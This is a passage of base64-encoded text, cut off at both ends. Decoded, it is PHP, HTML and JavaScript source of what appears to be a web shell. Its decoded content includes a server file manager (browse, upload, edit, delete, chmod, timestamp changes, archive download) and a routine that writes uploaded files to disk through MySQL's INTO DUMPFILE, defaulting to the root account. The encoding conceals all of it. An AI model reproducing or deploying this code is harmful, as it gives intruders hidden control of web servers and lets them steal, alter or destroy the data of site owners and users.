ZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfRmlsZXMudGFyLmd6Jyk7CgkJCWVjaG8gJGNvZGU7CgkJCWV4aXQ7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJfQoJfQoKCS8vIERlbGV0ZSBmaWxlCgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCSRzdWNjID0gJGZhaWwgPSAwOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7CgkJCQl9IGVsc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQ/P2Nob29zZSAnLmNvdW50KCRkbCkuJyBzdWNjZXNzICcuJHN1Y2MuJyBmYWlsICcuJGZhaWwpOwoJCX0gZWxzZSB7CgkJCW0oJ1BsZWFzZSBzZWxlY3QgZmlsZShzKScpOwoJCX0KCX0KCgkvLyBGdW5jdGlvbiBOZXdkaXIKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NyZWF0ZWRpcicpKTsKCW1ha2VoaWRlKCduZXdkaXJuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZXBlcm0nKSk7CgltYWtlaGlkZSgnbmV3cGVybScpOwoJbWFrZWhpZGUoJ3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nY29weWZpbGUnKSk7CgltYWtlaGlkZSgnc25hbWUnKTsKCW1ha2VoaWRlKCd0b2ZpbGUnKTsKCW1ha2VoaWRlKCdkaXInLCRub3dwYXRoKTsKCWZvcm1mb290KCk7Cglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidyZW5hbWUnKSk7CgltYWtlaGlkZSgnb2xkbmFtZScpOwoJbWFrZWhpZGUoJ25ld2ZpbGVuYW1lJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZmlsZW9wZm9ybScpKTsKCW1ha2VoaWRlKCdhY3Rpb24nKTsKCW1ha2VoaWRlKCdvcGZpbGUnKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2UoJG5vd3BhdGgpOwoJISRhbGwgJiYgJGFsbCA9IDA7CgkkdXNlZCA9ICRhbGwtJGZyZWU7CgkkdXNlZF9wZXJjZW50ID0gQHJvdW5kKDEwMC8oJGFsbC8kZnJlZSksMik7CglwKCc8Zm9udCBjb2xvcj15ZWxsb3cgZmFjZT10YWhvbWEgc2l6ZT0yPjxCPkZpbGUgTWFuYWdlcjwvYj4gPC9mb250PiBDdXJyZW50IGRpc2sgZnJlZSA8Zm9udCBjb2xvcj1yZWQ+Jy5zaXplY291bnQoJGZyZWUpLic8L2ZvbnQ+IG9mIDxmb250IGNvbG9yPXJlZD4nLnNpemVjb3VudCgkYWxsKS4nPC9mb250PiAoPGZvbnQgY29sb3I9cmVkPicuJHVzZWRfcGVyY2VudC4nPC9mb250PiUpPC9mb250PicpOwoKPz4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9Im1hcmdpbjoxMHB4IDA7Ij4KICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBpZD0iZ29kaXIiIG5hbWU9ImdvZGlyIj4KICA8dHI+CiAgICA8dGQgbm93cmFwPkN1cnJlbnQgRGlyZWN0b3J5ICg8P3BocCBlY2hvICRkaXJfd3JpdGVhYmxlOz8+LCA8P3BocCBlY2hvIGdldENobW9kKCRub3dwYXRoKTs/Pik8L3RkPgoJPHRkIHdpZHRoPSIxMDAlIj48aW5wdXQgbmFtZT0idmlld193cml0YWJsZSIgdmFsdWU9IjAiIHR5cGU9ImhpZGRlbiIgLz48aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJkaXIiIHZhbHVlPSI8P3BocCBlY2hvICRub3dwYXRoOz8+IiB0eXBlPSJ0ZXh0IiBzdHlsZT0id2lkdGg6MTAwJTttYXJnaW46MCA4cHg7Ij48L3RkPgogICAgPHRkIG5vd3JhcD48aW5wdXQgY2xhc3M9ImJ0IiB2YWx1ZT0iR08iIHR5cGU9InN1Ym1pdCI+PC90ZD4KICA8L3RyPgogIDwvZm9ybT4KPC90YWJsZT4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBjcmVhdGVkaXIoKXsKCXZhciBuZXdkaXJuYW1lOwoJbmV3ZGlybmFtZSA9IHByb21wdCgnUGxlYXNlIGlucHV0IHRoZSBkaXJlY3RvcnkgbmFtZTonLCAnJyk7CglpZiAoIW5ld2Rpcm5hbWUpIHJldHVybjsKCSQoJ2NyZWF0ZWRpcicpLm5ld2Rpcm5hbWUudmFsdWU9bmV3ZGlybmFtZTsKCSQoJ2NyZWF0ZWRpcicpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGZpbGVwZXJtKHBmaWxlKXsKCXZhciBuZXdwZXJtOwoJbmV3cGVybSA9IHByb21wdCgnQ3VycmVudCBmaWxlOicrcGZpbGUrJ1xuUGxlYXNlIGlucHV0IG5ldyBhdHRyaWJ1dGU6JywgJycpOwoJaWYgKCFuZXdwZXJtKSByZXR1cm47CgkkKCdmaWxlcGVybScpLm5ld3Blcm0udmFsdWU9bmV3cGVybTsKCSQoJ2ZpbGVwZXJtJykucGZpbGUudmFsdWU9cGZpbGU7CgkkKCdmaWxlcGVybScpLnN1Ym1pdCgpOwp9CmZ1bmN0aW9uIGNvcHlmaWxlKHNuYW1lKXsKCXZhciB0b2ZpbGU7Cgl0b2ZpbGUgPSBwcm9tcHQoJ09yaWdpbmFsIGZpbGU6JytzbmFtZSsnXG5QbGVhc2UgaW5wdXQgb2JqZWN0IGZpbGUgKGZ1bGxwYXRoKTonLCAnJyk7CglpZiAoIXRvZmlsZSkgcmV0dXJuOwoJJCgnY29weWZpbGUnKS50b2ZpbGUudmFsdWU9dG9maWxlOwoJJCgnY29weWZpbGUnKS5zbmFtZS52YWx1ZT1zbmFtZTsKCSQoJ2NvcHlmaWxlJykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gcmVuYW1lKG9sZG5hbWUpewoJdmFyIG5ld2ZpbGVuYW1lOwoJbmV3ZmlsZW5hbWUgPSBwcm9tcHQoJ0Zvcm1lciBmaWxlIG5hbWU6JytvbGRuYW1lKydcblBsZWFzZSBpbnB1dCBuZXcgZmlsZW5hbWU6JywgJycpOwoJaWYgKCFuZXdmaWxlbmFtZSkgcmV0dXJuOwoJJCgncmVuYW1lJykubmV3ZmlsZW5hbWUudmFsdWU9bmV3ZmlsZW5hbWU7CgkkKCdyZW5hbWUnKS5vbGRuYW1lLnZhbHVlPW9sZG5hbWU7CgkkKCdyZW5hbWUnKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBkb2ZpbGUoZG9pbmcsdGhlZmlsZSxtKXsKCWlmIChtICYmICFjb25maXJtKG0pKSB7CgkJcmV0dXJuOwoJfQoJJCgnZmlsZWxpc3QnKS5kb2luZy52YWx1ZT1kb2luZzsKCWlmICh0aGVmaWxlKXsKCQkkKCdmaWxlbGlzdCcpLnRoZWZpbGUudmFsdWU9dGhlZmlsZTsKCX0KCSQoJ2ZpbGVsaXN0Jykuc3VibWl0KCk7Cn0KZnVuY3Rpb24gY3JlYXRlZmlsZShub3dwYXRoKXsKCXZhciBmaWxlbmFtZTsKCWZpbGVuYW1lID0gcHJvbXB0KCdQbGVhc2UgaW5wdXQgdGhlIGZpbGUgbmFtZTonLCAnJyk7CglpZiAoIWZpbGVuYW1lKSByZXR1cm47CglvcGZpbGUoJ2VkaXRmaWxlJyxub3dwYXRoICsgZmlsZW5hbWUsbm93cGF0aCk7Cn0KZnVuY3Rpb24gb3BmaWxlKGFjdGlvbixvcGZpbGUsZGlyKXsKCSQoJ2ZpbGVvcGZvcm0nKS5hY3Rpb24udmFsdWU9YWN0aW9uOwoJJCgnZmlsZW9wZm9ybScpLm9wZmlsZS52YWx1ZT1vcGZpbGU7CgkkKCdmaWxlb3Bmb3JtJykuZGlyLnZhbHVlPWRpcjsKCSQoJ2ZpbGVvcGZvcm0nKS5zdWJtaXQoKTsKfQpmdW5jdGlvbiBnb2RpcihkaXIsdmlld193cml0YWJsZSl7CglpZiAodmlld193cml0YWJsZSkgewoJCSQoJ2dvZGlyJykudmlld193cml0YWJsZS52YWx1ZT0xOwoJfQoJJCgnZ29kaXInKS5kaXIudmFsdWU9ZGlyOwoJJCgnZ29kaXInKS5zdWJtaXQoKTsKfQo8L3NjcmlwdD4KICA8P3BocAoJdGJoZWFkKCk7CglwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48dHIgY2xhc3M9ImFsdDEiPjx0ZCBjb2xzcGFuPSI3IiBzdHlsZT0icGFkZGluZzo1cHg7Ij4nKTsKCXAoJzxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0OyI+PGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdmFsdWU9IiIgdHlwZT0iZmlsZSIgLz4gPGlucHV0IGNsYXNzPSIiIG5hbWU9ImRvdXBmaWxlIiB2YWx1ZT0iVXBsb2FkIiB0eXBlPSJzdWJtaXQiIC8+PGlucHV0IG5hbWU9InVwbG9hZGRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PGlucHV0IG5hbWU9ImRpciIgdmFsdWU9IicuJGRpci4nIiB0eXBlPSJoaWRkZW4iIC8+PC9kaXY+Jyk7CglwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLidcJyk7Ij5XZWJSb290PC9hPicpOwoJaWYgKCR2aWV3X3dyaXRhYmxlKSB7CgkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJG5vd3BhdGguJ1wnKTsiPlZpZXcgQWxsPC9hPicpOwoJfSBlbHNlIHsKCQlwKCcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kbm93cGF0aC4nXCcsXCcxXCcpOyI+VmlldyBXcml0YWJsZTwvYT4nKTsKCX0KCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZGlyKCk7Ij5DcmVhdGUgRGlyZWN0b3J5PC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Y3JlYXRlZmlsZShcJycuJG5vd3BhdGguJ1wnKTsiPkNyZWF0ZSBGaWxlPC9hPicpOwoJaWYgKElTX1dJTiAmJiBJU19DT00pIHsKCQkkb2JqID0gbmV3IENPTSgnc2NyaXB0aW5nLmZpbGVzeXN0ZW1vYmplY3QnKTsKCQlpZiAoJG9iaiAmJiBpc19vYmplY3QoJG9iaikpIHsKCQkJJERyaXZlVHlwZURCID0gYXJyYXkoMCA9PiAnVW5rbm93JywxID0+ICdSZW1vdmFibGUnLDIgPT4gJ0ZpeGVkJywzID0+ICdOZXR3b3JrJyw0ID0+ICdDRFJvbScsNSA9PiAnUkFNIERpc2snKTsKCQkJZm9yZWFjaCgkb2JqLT5Ecml2ZXMgYXMgJGRyaXZlKSB7CgkJCQlpZiAoJGRyaXZlLT5Ecml2ZVR5cGUgPT0gMikgewoJCQkJCXAoJyB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLiRkcml2ZS0+UGF0aC4nL1wnKTsiIHRpdGxlPSJTaXplOicuc2l6ZWNvdW50KCRkcml2ZS0+VG90YWxTaXplKS4nJiMxMztGcmVlOicuc2l6ZWNvdW50KCRkcml2ZS0+RnJlZVNwYWNlKS4nJiMxMztUeXBlOicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nIj4nLiREcml2ZVR5cGVEQlskZHJpdmUtPkRyaXZlVHlwZV0uJygnLiRkcml2ZS0+UGF0aC4nKTwvYT4nKTsKCQkJCX0gZWxzZSB7CgkJCQkJcCgnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDpnb2RpcihcJycuJGRyaXZlLT5QYXRoLicvXCcpOyIgdGl0bGU9IlR5cGU6Jy4kRHJpdmVUeXBlREJbJGRyaXZlLT5Ecml2ZVR5cGVdLiciPicuJERyaXZlVHlwZURCWyRkcml2ZS0+RHJpdmVUeXBlXS4nKCcuJGRyaXZlLT5QYXRoLicpPC9hPicpOwoJCQkJfQoJCQl9CgkJfQoJfQoKCXAoJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CgoJcCgnPHRyIGNsYXNzPSJoZWFkIj48dGQ+Jm5ic3A7PC90ZD48dGQ+RmlsZW5hbWU8L3RkPjx0ZCB3aWR0aD0iMTYlIj5MYXN0IG1vZGlmaWVkPC90ZD48dGQgd2lkdGg9IjEwJSI+U2l6ZTwvdGQ+PHRkIHdpZHRoPSIyMCUiPkNobW9kIC8gUGVybXM8L3RkPjx0ZCB3aWR0aD0iMjIlIj5BY3Rpb248L3RkPjwvdHI+Jyk7CgoJLy8gR2V0IHBhdGgKCSRkaXJkYXRhPWFycmF5KCk7CgkkZmlsZWRhdGE9YXJyYXkoKTsKCglpZiAoJHZpZXdfd3JpdGFibGUpIHsKCQkkZGlyZGF0YSA9IEdldExpc3QoJG5vd3BhdGgpOwoJfSBlbHNlIHsKCQkvLyBPcGVuIGRpcgoJCSRkaXJzPUBvcGVuZGlyKCRkaXIpOwoJCXdoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsKCQkJJGZpbGVwYXRoPSRub3dwYXRoLiRmaWxlOwoJCQlpZihAaXNfZGlyKCRmaWxlcGF0aCkpewoJCQkJJGRpcmRiWydmaWxlbmFtZSddPSRmaWxlOwoJCQkJJGRpcmRiWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmaWxlcGF0aCkpOwoJCQkJJGRpcmRiWydkaXJjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcnBlcm0nXT1nZXRQZXJtcygkZmlsZXBhdGgpOwoJCQkJJGRpcmRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZGlyZGJbJ2RpcmxpbmsnXT0kbm93cGF0aDsKCQkJCSRkaXJkYlsnc2VydmVyX2xpbmsnXT0kZmlsZXBhdGg7CgkJCQkkZGlyZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRkaXJkYXRhW109JGRpcmRiOwoJCQl9IGVsc2UgewoJCQkJJGZpbGVkYlsnZmlsZW5hbWUnXT0kZmlsZTsKCQkJCSRmaWxlZGJbJ3NpemUnXT1zaXplY291bnQoQGZpbGVzaXplKCRmaWxlcGF0aCkpOwoJCQkJJGZpbGVkYlsnbXRpbWUnXT1AZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkZmlsZXBhdGgpKTsKCQkJCSRmaWxlZGJbJ2ZpbGVjaG1vZCddPWdldENobW9kKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlcGVybSddPWdldFBlcm1zKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydmaWxlb3duZXInXT1nZXRVc2VyKCRmaWxlcGF0aCk7CgkJCQkkZmlsZWRiWydkaXJsaW5rJ109JG5vd3BhdGg7CgkJCQkkZmlsZWRiWydzZXJ2ZXJfbGluayddPSRmaWxlcGF0aDsKCQkJCSRmaWxlZGJbJ2NsaWVudF9saW5rJ109dWUoJGZpbGVwYXRoKTsKCQkJCSRmaWxlZGF0YVtdPSRmaWxlZGI7CgkJCX0KCQl9Ly8gd2hpbGUKCQl1bnNldCgkZGlyZGIpOwoJCXVuc2V0KCRmaWxlZGIpOwoJCUBjbG9zZWRpcigkZGlycyk7Cgl9CglAc29ydCgkZGlyZGF0YSk7CglAc29ydCgkZmlsZWRhdGEpOwoJJGRpcl9pID0gJzAnOwoJZm9yZWFjaCgkZGlyZGF0YSBhcyAka2V5ID0+ICRkaXJkYil7CgkJaWYoJGRpcmRiWydmaWxlbmFtZSddIT0nLi4nICYmICRkaXJkYlsnZmlsZW5hbWUnXSE9Jy4nKSB7CgkJCSR0aGlzYmcgPSBiZygpOwoJCQlwKCc8dHIgY2xhc3M9ImZvdXQiIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvdXRcJzsiPicpOwoJCQlwKCc8dGQgd2lkdGg9IjIlIiBub3dyYXA+PGZvbnQgZmFjZT0id2luZ2RpbmdzIiBzaXplPSIzIj4wPC9mb250PjwvdGQ+Jyk7CgkJCXAoJzx0ZD48YSBocmVmPSJqYXZhc2NyaXB0OmdvZGlyKFwnJy4kZGlyZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGRpcmRiWydmaWxlbmFtZSddLic8L2E+PC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4nLiRkaXJkYlsnbXRpbWUnXS4nPC90ZD4nKTsKCQkJcCgnPHRkIG5vd3JhcD4tLTwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZGlyZGJbJ2RpcmNobW9kJ10uJzwvYT4gLyAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRkaXJkYlsnZGlycGVybSddLic8L2E+Jy4kZGlyZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZGVsZGlyXCcsXCcnLiRkaXJkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCdBcmUgeW91IHN1cmUgd2lsbCBkZWxldGUgJy4kZGlyZGJbJ2ZpbGVuYW1lJ10uJz8gXFxuXFxuSWYgbm9uLWVtcHR5IGRpcmVjdG9yeSwgd2lsbCBiZSBkZWxldGUgYWxsIHRoZSBmaWxlcy5cJykiPkRlbDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGRpcmRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij5SZW5hbWU8L2E+PC90ZD4nKTsKCQkJcCgnPC90cj4nKTsKCQkJJGRpcl9pKys7CgkJfSBlbHNlIHsKCQkJaWYoJGRpcmRiWydmaWxlbmFtZSddPT0nLi4nKSB7CgkJCQlwKCc8dHIgY2xhc3M9Zm91dD4nKTsKCQkJCXAoJzx0ZCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJXaW5nZGluZ3MgMyIgc2l6ZT00Pj08L2ZvbnQ+PC90ZD48dGQgbm93cmFwIGNvbHNwYW49IjUiPjxhIGhyZWY9ImphdmFzY3JpcHQ6Z29kaXIoXCcnLmdldFVwUGF0aCgkbm93cGF0aCkuJ1wnKTsiPlBhcmVudCBEaXJlY3Rvcnk8L2E+PC90ZD4nKTsKCQkJCXAoJzwvdHI+Jyk7CgkJCX0KCQl9Cgl9CgoJcCgnPHRyIGJnY29sb3I9ImdyZWVuIiBzdGx5ZT0iYm9yZGVyLXRvcDoxcHggc29saWQgZ3JheTtib3JkZXItYm90dG9tOjFweCBzb2xpZCBncmF5OyI+PHRkIGNvbHNwYW49IjYiIGhlaWdodD0iNSI+PC90ZD48L3RyPicpOwoJcCgnPGZvcm0gaWQ9ImZpbGVsaXN0IiBuYW1lPSJmaWxlbGlzdCIgYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0icG9zdCI+Jyk7CgltYWtlaGlkZSgnYWN0aW9uJywnZmlsZScpOwoJbWFrZWhpZGUoJ3RoZWZpbGUnKTsKCW1ha2VoaWRlKCdkb2luZycpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJJGZpbGVfaSA9ICcwJzsKCWZvcmVhY2goJGZpbGVkYXRhIGFzICRrZXkgPT4gJGZpbGVkYil7CgkJaWYoJGZpbGVkYlsnZmlsZW5hbWUnXSE9Jy4uJyAmJiAkZmlsZWRiWydmaWxlbmFtZSddIT0nLicpIHsKCQkJJGZpbGV1cmwgPSBzdHJfcmVwbGFjZShTQV9ST09ULCcnLCRmaWxlZGJbJ3NlcnZlcl9saW5rJ10pOwoJCQkkdGhpc2JnID0gYmcoKTsKCQkJcCgnPHRyIGNsYXNzPSJmb3V0IiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCdmb3V0XCc7Ij4nKTsKCQkJcCgnPHRkIHdpZHRoPSIyJSIgbm93cmFwPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgdmFsdWU9IjEiIG5hbWU9ImRsWycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXSI+PC90ZD4nKTsKCQkJcCgnPHRkPjxhIGhyZWY9IicuJGZpbGV1cmwuJyIgdGFyZ2V0PSJfYmxhbmsiPicuJGZpbGVkYlsnZmlsZW5hbWUnXS4nPC9hPjwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jy4kZmlsZWRiWydtdGltZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnc2l6ZSddLic8L3RkPicpOwoJCQlwKCc8dGQgbm93cmFwPicpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVjaG1vZCddLic8L2E+IC8gJyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZmlsZXBlcm0oXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPicuJGZpbGVkYlsnZmlsZXBlcm0nXS4nPC9hPicuJGZpbGVkYlsnZmlsZW93bmVyJ10uJzwvdGQ+Jyk7CgkJCXAoJzx0ZCBub3dyYXA+Jyk7CgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bmZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+RG93bjwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpjb3B5ZmlsZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Q29weTwvYT4gfCAnKTsKCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCdlZGl0ZmlsZVwnLFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyxcJycuJGZpbGVkYlsnZGlybGluayddLidcJyk7Ij5FZGl0PC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OnJlbmFtZShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+UmVuYW1lPC9hPiB8ICcpOwoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0Om9wZmlsZShcJ25ld3RpbWVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+VGltZTwvYT4nKTsKCQkJcCgnPC90ZD48L3RyPicpOwoJCQkkZmlsZV9pKys7CgkJfQoJfQoJcCgnPHRyIGNsYXNzPSJmb3V0MSI+PHRkIGFsaWduPSJjZW50ZXIiPjxpbnB1dCBuYW1lPSJjaGthbGwiIHZhbHVlPSJvbiIgdHlwZT0iY2hlY2tib3giIG9uY2xpY2s9IkNoZWNrQWxsKHRoaXMuZm9ybSkiIC8+PC90ZD48dGQ+PGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkb3ducmFyXCcpOyI+UGFja2luZyBkb3dubG9hZCBzZWxlY3RlZDwvYT4gLSA8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2RlbGZpbGVzXCcpOyI+RGVsZXRlIHNlbGVjdGVkPC9hPjwvdGQ+PHRkIGNvbHNwYW49IjQiIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyBkaXJlY3RvcmllcyAvICcuJGZpbGVfaS4nIGZpbGVzPC90ZD48L3RyPicpOwoJcCgnPC9mb3JtPjwvdGFibGU+Jyk7Cn0vLyBlbmQgZGlyCgplbHNlaWYgKCRhY3Rpb24gPT0gJ3NxbGZpbGUnKSB7CglpZigkZG9pbmc9PSJteXNxbHVwbG9hZCIpewoJCSRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOwoJCSRmaWxlbmFtZSA9ICRmaWxlWyd0bXBfbmFtZSddOwoJCWlmIChmaWxlX2V4aXN0cygkc2F2ZXBhdGgpKSB7CgkJCW0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOwoJCX0gZWxzZSB7CgkJCWlmKCEkZmlsZW5hbWUpIHsKCQkJCW0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7CgkJCX0gZWxzZSB7CgkJCQkkZnA9QGZvcGVuKCRmaWxlbmFtZSwncicpOwoJCQkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQkJJGNvbnRlbnRzID0gYmluMmhleCgkY29udGVudHMpOwoJCQkJaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOwoJCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7CgkJCQkkcmVzdWx0ID0gcSgiU0VMRUNUIDB4eyRjb250ZW50c30gRlJPTSBteXNxbC51c2VyIElOVE8gRFVNUEZJTEUgJyRzYXZlcGF0aCc7Iik7CgkJCQltKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOwoJCQl9CgkJfQoJfQo/Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7CglpZighZG9pbmcpIHJldHVybjsKCSQoJ2RvaW5nJykudmFsdWU9ZG9pbmc7CgkkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJwb3J0LnZhbHVlPSQoJ2RiaW5mbycpLmRicG9ydC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmRidXNlci52YWx1ZT0kKCdkYmluZm8nKS5kYnVzZXIudmFsdWU7CgkkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOwoJJCgnbXlzcWxmaWxlJykuZGJuYW1lLnZhbHVlPSQoJ2RiaW5mbycpLmRibmFtZS52YWx1ZTsKCSQoJ215c3FsZmlsZScpLmNoYXJzZXQudmFsdWU9JCgnZGJpbmZvJykuY2hhcnNldC52YWx1ZTsKCSQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8P3BocAoJISRkYmhvc3QgJiYgJGRiaG9zdCA9ICdsb2NhbGhvc3QnOwoJISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsKCSEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7CgkkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsKCWZvcm1oZWFkKGFycmF5KCd0aXRsZSc9PidNWVNRTCBJbmZvcm1hdGlvbicsJ25hbWUnPT4nZGJpbmZvJykpOwoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsKCXAoJzxwPicpOwoJcCgnREJIb3N0OicpOwoJbWFrZWl